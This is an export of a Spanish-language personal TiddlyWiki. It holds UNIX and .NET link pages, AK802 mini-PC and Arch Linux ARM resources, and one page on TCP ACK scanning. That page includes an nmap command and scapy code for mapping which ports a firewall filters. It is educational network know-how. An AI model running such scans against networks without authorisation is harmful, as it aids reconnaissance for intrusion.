<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

.wizard .notChanged {background:transparent;}
.wizard .changedLocally {background:#80ff80;}
.wizard .changedServer {background:#8080ff;}
.wizard .changedBoth {background:#ff8080;}
.wizard .notFound {background:#ffff80;}
.wizard .putToServer {background:#ff80ff;}
.wizard .gotFromServer {background:#80ffff;}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity=60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0 0 0.5em;}
.tab {margin:0 0 0 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0 0.25em; padding:0 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
#displayArea {margin: 1em 1em 0em;}
noscript {display:none;} /* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
<!--}}}-->
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[MainMenu]]: The menu (usually on the left)
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser

Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])

<<option txtUserName>>
<<option chkSaveBackups>> [[SaveBackups]]
<<option chkAutoSave>> [[AutoSave]]
<<option chkRegExpSearch>> [[RegExpSearch]]
<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
<<option chkAnimate>> [[EnableAnimations]]

----
Also see [[AdvancedOptions]]
<<importTiddlers>>
<<showtoc>>
!Descripción
<part descripcion>
Información sobre los sistemas operativos basados en UNIX: *BSD, UNIX, Solaris, Linux, etc.
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre UNIX: http://es.wikipedia.org/wiki/Unix
* Artículos sobre administración de sistemas *NIX: http://systemadmin.es/series-de-articulos
* The Art of UNIX Programming: http://www.etnassoft.com/biblioteca/the-art-of-unix-programming/

!! Artículos y tutoriales
* Top Ten one-liners: http://www.catonmat.net/blog/top-ten-one-liners-from-commandlinefu-explained/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Colorear tail^^[[<editar>|$1]]^^
Usando [[Perl]] se puede colorear la salida de tail par que remarque los errores y warnings en rojo, y los mensajes de información en verde:
<code bash>
tail -f ARCHIVO.log | perl -pe 's/.*\b(error|warn)\b.*/\e[1;31m$&\e[0m/ig; s/.*\b(info)\b.*/\e[0;32m$&\e[0m/ig' 
</code>
!Descripción
<part descripcion>
Información sobre la plataforma .Net y todos los lenguajes asociados
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/.NET
** .Net Framework: http://msdn.microsoft.com/es-es/netframework/default.aspx
** Lenguajes soportados por .Net: http://www.dotnetpowered.com/languages.aspx
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Es una técnica especial, dado que no va encaminada a saber si un puerto está abierto o cerrado, si no si está o no filtrado por un firewall.

Al enviar un paquete [[TCP]] con el bit ACK activo, una máquina que no esté detrás de un firewall devolverá un paquete con el bit RST activado esté o no abierto el puerto. Si no se recibe nada o se recibe un ICMP de error, el puerto está filtrado.

Este ataque suele utilizarse como complemento a otros ataques que determinen si un puerto está abierto. Una vez comprobados los puertos abiertos se puede comprobar cuales están filtrados mediante este ataque.

! Esquemas
| !No filtrado |h
| <<tiddler ./esquema_no_filtrado>> |
| !Filtrado | !Filtrado |h
| <<tiddler ./esquema_filtrado1>> | <<tiddler ./esquema_filtrado2>> |

<part esquema_no_filtrado hidden>
{{{
ATACANTE     SERVIDOR
   |             |
  ACK ---------->|
   |             |
   |<---------- RST
   |             |

El puerto NO está filtrado
}}}
</part>
<part esquema_filtrado1 hidden>
{{{
ATACANTE     SERVIDOR
   |             |
  ACK ---------->|
   |             |
  ...           ...
   |             |
  ACK ---------->|
   |             |

No hay respuesta, puerto filtrado
}}}
</part>
<part esquema_filtrado2 hidden>
{{{
ATACANTE     SERVIDOR
   |             |
  ACK ---------->|
   |             |
   |<------- ICMP error
   |             |

El puerto está filtrado
}}}
</part>
!Ataques
!! nmap
{{{
sudo nmap -sA 192.168.1.0/24
}}}
!! scapy
<part scapy>
Envía el ataque
<code python>
ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=[80,443],flags="A"))
</code>
Muestra los puertos no filtrados
<code python>
for s,r in ans:
    if s[TCP].dport == r[TCP].sport:
        print str(s[TCP].dport) + " sin filtrar"
</code>
Muestra los puertos filtrados:
<code python>
for s in unans:
    print str(s[TCP].dport) + " filtrado"
</code>
</part>
! Referecias
* http://en.wikipedia.org/wiki/Port_scanner#ACK_scanning
<<showtoc>>
!Descripción
<part descripcion>
El AK802 es un mini-ordenador basado en un procesador ARM. Es una evolución del MK802 (tiene más RAM). Tanto el AK802 como el MK802 están basados en la arquitectura A10 AllWinner. Viene de fábrica con android 4.0 instalado. 
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Producto en Deal Extreme: http://dx.com/p/ak802-mini-android-4-0-network-media-player-w-wi-fi-hdmi-tf-usb-black-4gb-1gb-ddr-iii-143431
* Información en CNX: http://www.cnx-software.com/2012/07/10/72-90-usd-ak802-android-mini-pc-with-allwinner-a10-and-1gb-ram/

!! Información sobre MK802
Es un dispositivo prácticamente idéntico al AK802. Todavía nadie sabe cuales son las diferencias exactas. Prácticamente toda la información sobre este dispositivo se puede aplicar sobre el AK802, teniendo en cuenta que la versión habitual del MK802 tiene 512MB de memoria y el AK802 1024MB
* Información oficial de MK802: http://rhombus-tech.net/allwinner_a10/
* Información general: http://forum.doozan.com/read.php?6,8476
* MK802 en Liliputing: http://liliputing.com/tag/mk802
* Distribuciones linux para MK802: http://liliputing.com/2012/07/linux-distributions-that-can-run-on-an-mk802-mini-pc.html
* MK802 en CNX: http://www.cnx-software.com/2012/05/17/74-usd-allwinner-a10-android-4-0-mini-pc-usbhdmi-stick/
* Reset y actualización de firmware: http://liliputing.com/2012/06/how-to-re-install-mk802-firmware.html
* Archivos FEX para las placas A10: https://github.com/linux-sunxi/sunxi-boards/tree/master/sys_config/a10

!! Foros y wikis
* Foros en Rikomagic: http://www.rikomagic.co.uk/forum/
* Foros en Miniand: https://www.miniand.com/forums
* Foros en Doozan: http://forum.doozan.com/list.php?6
* Foros de Arch Linux ARM: http://archlinuxarm.org/forum/viewforum.php?f=33
* Foros de A10 Linux (no funciona): http://forum.a10linux.org
* Wiki de linux para A10: http://linux-sunxi.org/A10

!! Linux y hackeo
!!! General
* Wiki sobre linux en la familia A10: http://linux-sunxi.org/Main_Page
* Hack A10 devices: http://elinux.org/Hack_A10_devices
* Usar el OTG como una conexión ETHERNET: https://www.miniand.com/forums/forums/development/topics/configure-otg-usb-port-as-an-ethernet-device
* Overclocking: https://www.miniand.com/forums/forums/development/topics/first-overclocked-mk802
* Convertir el mk802 en un punto de acceso: https://www.miniand.com/forums/forums/development/topics/linux-access-point
* Using the Rikomagic MK802 as a home server: http://romanrm.ru/en/a10/mk802-server
* A10 Linux: http://linux-sunxi.org/Main_Page
* Optimizar la tarjeta SD: http://www.j1nx.nl/howto-optimize-linux-sd-card-rootfs/
* Yocto, herramienta para crear distribuciones: https://wiki.yoctoproject.org/wiki/Yocto_1.3_Features
** Manual de Yocto: http://www.yoctoproject.org/docs/latest/mega-manual/mega-manual.html
* Linux en plataformas A10: http://linux-sunxi.org/A10
* Configurar hostapd: http://jas-hacks.blogspot.de/2012/09/hackberry-wireless-access-point.html
!!! uboot y arranque
* Explicación del funcionamiento de uboot: http://www.j1nx.nl/u-boot-for-allwinner-explained/
* A10 boot process: http://rhombus-tech.net/allwinner_a10/a10_boot_process/
* Cómo compilar uboot: http://www.cnx-software.com/2012/07/20/nightly-builds-for-allwinner-a10-u-boot-linux-kernel-and-hardware-packs/
* Soporte para initramfs: http://www.cnx-software.com/2012/08/03/allwinner-a10-initramfs-support-and-linaro-12-07-image/
* uboot: http://www.denx.de/wiki/U-Boot
* Berry Boot (gestor de arranque): http://www.berryterminal.com/doku.php/berryboot_a10
!!! Compilar kernel y módulos
* Compila tu propio kernel: https://www.miniand.com/forums/forums/development/topics/tutorial-how-to-compile-a-linux-kernel-for-linaro-12-06
* Compilar módulos para el kernel en ejecución: http://www.cnx-software.com/2012/09/11/building-kernel-modules-for-allwinner-a10-devices-android
* Compilar un kernel para Linaro 12.06: https://www.miniand.com/forums/forums/2/topics/216
* Compilar un kernel para A10 con soporte Hard Float: http://jas-hacks.blogspot.co.uk/2012/10/hackberry-a10-compiling-kernel-armhfs.html
!!! Herramientas diversas
* GIT de linux-sunxi (con las herramientas de amery y hno): https://github.com/linux-sunxi
!!! Distribuciones
!!!! Fedora
* Instalar Fedora 17: https://www.miniand.com/forums/forums/2/topics/42
!!!! Arch ARM (ALARM)
* Arch ARM en mele A1000: http://archlinuxarm.org/platforms/armv7/mele-a100
* Arch en MK802 (¡funcionando!): https://www.miniand.com/forums/forums/2/topics/arch-linux-alarm-on-the-mk802
* Página del foro: http://archlinuxarm.org/forum/viewforum.php?f=33&sid=4b9edcc07c6afa77e66c7c6e284998ff
* Configuración del u-boot: http://archlinuxarm.org/forum/viewtopic.php?f=33&t=3379
* Arch a partir de otra distribución: http://archlinuxarm.org/forum/viewtopic.php?f=33&t=3359#p20242/
!!!! Debian
* Guía para A1000: http://www.cnx-software.com/2012/04/28/how-to-create-your-own-debian-ubuntu-image-for-mele-a1000-allwinner-a10-based-stb/
* Script automático: http://rhombus-tech.net/allwinner_a10/hacking_the_mele_a1000/script_for_installing_debian_on_sdcard/
* Script para usar desde el "Rescue System": http://forum.doozan.com/read.php?6,8906
* Debian Weezy: http://forum.doozan.com/read.php?6,8899
!!!! Familia Ubuntu
* Método universal, funciona con otras distros: http://www.cnx-software.com/2012/06/13/hardware-packs-for-allwinner-a10-devices-and-easier-method-to-create-a-bootable-ubuntu-12-04-sd-card/
* Imágenes de distribuciones: https://www.miniand.com/forums/forums/2/topics/1
* Crear una imagen: http://www.cnx-software.com/2012/06/22/ubuntu-12-04-server-armhf-image-for-mele-a1000a2000/
* Guía para instalar Lubuntu (¡funciona!): http://www.rikomagic.co.uk/forum/viewtopic.php?f=2&t=90
!!!! Linaro
* Linaro 12-06: (¡funciona! sin sonido): https://www.miniand.com/forums/forums/2/topics/82
* Linaro 12-11: https://www.miniand.com/forums/forums/development/topics/linaro-alip-12-11-armhf-build
!!!! Puppy Linux
* Instalar puppy: http://liliputing.com/2012/06/puppy-linux-on-the-mk802-74-mini-pc.html
* Instrucciones: http://distro.ibiblio.org/quirky/arm/releases/alpha/README-mele-sd-4gb-lui-5.2.90.htm
* Ficheros: http://distro.ibiblio.org/quirky/arm/releases/alpha/
!!!! Rescue y sistemas mínimos
* Rescue System: http://forum.doozan.com/read.php?6,9396
* A10 Rescue System (con guía de como crearlo): http://forum.doozan.com/read.php?6,8904,10740

!! Android
* Cyanogen Mod 9: http://www.rikomagic.co.uk/forum/viewtopic.php?f=2&t=142
* Cyanogen Mod 10 (preview): http://forum.xda-developers.com/showthread.php?t=1821398
* Uberdroid: http://rikomagic.co.uk/forum/viewtopic.php?f=2&t=246

!! Android y Linux
* Integrar linux sobre Android: http://whiteboard.ping.se/Android/Debian
* Proyecto "linux on android": http://forum.xda-developers.com/showthread.php?t=1585009
* Instalador de debian "lildebi": https://guardianproject.info/code/lildebi/
** Wiki del proyecto lildebi: https://github.com/guardianproject/lildebi/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>

! Introducción
!! Objetivo
Hay muchas distribuciones de linux, pero sólo las más populares funcionan en el [[AK802]]. Funcionan correctamente pero no me resultan 100% cómodas, ni entiendo como mejorar algunos puntos dado que desconozco los pormenores de la arquitectura interna.

El objetivo es crear mi propia versión de Arch Linux con un kernel compilado por mi mismo, y un sistema configurado a mi gusto.

!! Entorno de desarrollo
En todos los ejemplos, la distribución que se quiere crear es una Arch ARM Linux (ALARM).

